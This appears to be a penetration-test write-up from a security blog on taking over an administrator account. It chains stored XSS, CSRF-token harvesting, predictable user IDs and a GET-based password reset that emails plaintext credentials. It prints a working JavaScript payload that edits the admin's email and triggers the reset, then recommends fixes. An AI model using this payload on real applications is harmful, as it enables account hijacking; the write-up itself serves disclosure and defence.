Security flaws, sometimes overlooked as minor ones, can escalate into significant risks for entire applications. Our recent penetration test identified a critical vulnerability enabling potential account takeover at the administrative level. This write-up highlights the essential need for comprehensive security measures throughout the application development process.
The Core Problem
We identified a critical flaw in the mechanism of how the administrator's panel was integrated into the application. Situated at the same address as the part of the application, where the user panel was vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability gave users with even the most basic access the ability to execute harmful JavaScript code in the context of an administrator’s account.
Compounding Vulnerabilities
The severity of the situation was amplified by several other security oversights:
The application used GET requests to reset passwords, which opens the application to other vulnerabilities, such as Cross-Site Request Forgery (CSRF).
User accounts were identifiable due to sequentially numbered identifiers, making it easy for attackers to target specific accounts.
The system sent the new password, along with the old login, in plain text via email. This allows an attacker to gain access to the account without needing to guess the correct login.
Step by step exploitation
Given the information we gathered during the application review, we began exploitation. The first step was to find a Stored Cross-Site Scripting (XSS) vulnerability, allowing us to inject malicious code into user details (for example, name or surname):
The above step made the application download another part of the JavaScript code from an address controlled by the attacker. This approach was necessary due to character limits in the fields.
The exploit required a sequence of calculated actions, beginning with the injection of the XSS code and culminating in a password reset. The attacker could then intercept the new login credentials and gain full control over the administrator account. On our controlled server, we embedded the following JavaScript code in a new .html file:
1 (function() {
2 var xhr = new XMLHttpRequest();
3 xhr.withCredentials = true;
4 xhr.onreadystatechange = function() {
5 if (xhr.readyState === 4 && xhr.status === 200) {
6 var parser = new DOMParser();
7 var doc = parser.parseFromString(xhr.responseText, "text/html");
8 var csrf = doc.querySelector("input[name='csrf_frm_userinfo']").value;
9 //console.log(csrf);
10 //console.log(document.cookie);
11 var xhr2 = new XMLHttpRequest();
12 xhr2.withCredentials = true;
13 xhr2.onreadystatechange = function() {
14 if (xhr2.readyState === 4 && xhr2.status === 200) {
15 var xhr3 = new XMLHttpRequest();
16 xhr3.withCredentials = true;
17 xhr3.open("GET", "https://[...]/ admin/resetpass?id[]=7777", true);
18 xhr3.send();
19 }
20 };
21 xhr2.open("POST", "https://[...]/user/admin/edit/id/7777", true);
22 xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
23
24 var params = "csrf =" + csrf +
25
"&first_name=xss"+Math.floor(Math.random()*100)+"&last_name=xyz&email=test%2BnameEVIL
"+Math.floor(Math.random()*100)+"%40[…]&lqw>
26 //console.log(params);
27 xhr2.send(params);
28
29 }
30 };
31
32 xhr.open("GET", "https://[...]/user/admin/edit", true);
33 xhr.send();
34 })();
What is this code for?
a. GET request to /user/admin/edit is sent, to gather the anti-CSRF code (lines 32-33).
b. The script takes the value of csrf parameter from the response, which is the anti-CSRF token (lines 4-10).
c. POST request is sent to the /user/admin/edit/id/7777 path:
csrf_frm_userinfo=<value of anti-CSRF token obtained in steps a) and b)>& first_name= xss"+Math.floor
(Math.random()*100)+2BnameEVIL"+Math.floor(Math.random()*100)+
The above body changes the name of the user with ID 7777 (admin) to “xss” plus a random value from 1 to 100. This approach makes it easier to verify if the payload was executed properly. The email address is also changed to “test+[…]EVIL” plus a random value from 1 to 100 (lines 21-27).
d. Once the request is executed properly, a third GET request is sent to the path: /user/admin/resetpass?id[]=7777. The goal is to reset the password of the user with ID 7777. When the administrator opens the application and visits the users' tab, the payload will executed (lines 13-20).
The below screenshot shows that the name of the admin user was changed to “xss48” and his email address to:
The last step ensures that an email containing the admin’s login and password is delivered shortly after.
Conclusions
This case study teaches an important cybersecurity lesson: a series of small vulnerabilities can combine to create a serious security risk. As shown, someone could take over an administrative account without direct interaction, showing why it's crucial to have strong, varied security measures in place.
To secure your application against such vulnerabilities, we recommend a series of strategic changes and enhancements:
Isolating the Administrator’s Panel: Restructuring the admin panel to function in a separate, secured environment is crucial. This isolation ensures that vulnerabilities in the user-facing part of the application does not compromise the administrative segment.
Refining Action-Triggering Mechanisms: Moving away from using GET methods for state-changing actions in the application. Adopting more secure methods can significantly reduce the application’s exposure to various web-based attacks.
Implementing Robust Identifiers: Abandoning predictable numerical identifiers in favor of UUIDs adds an extra layer of security, making it exponentially more challenging for attackers to guess user details or manipulate user accounts.
Enhancing Password Reset Protocols: Replacing the practice of sending plaintext login credentials via email with secure, encrypted password reset links can prevent potential interception and unauthorized access, thus safeguarding user information.
As we progress, it's essential for organizations to integrate these cybersecurity practices thoroughly into their processes for developing and maintaining applications. Regular penetration tests, consistent updates to address emerging threats, and continuous education of developers on evolving security practices are key to maintaining robust digital defenses.
In sharing the insights from this penetration test, our goal is not only to highlight specific vulnerabilities but to foster a culture of continuous vigilance and improvement in cybersecurity practices. As threats evolve, so must our defenses, ensuring that digital environments remain secure, trustworthy, and resilient against the ever-changing landscape of cyber threats.
#Cybersecurity #WebApplicationSecurity #PentestChronicles #InfoSec #DigitalDefense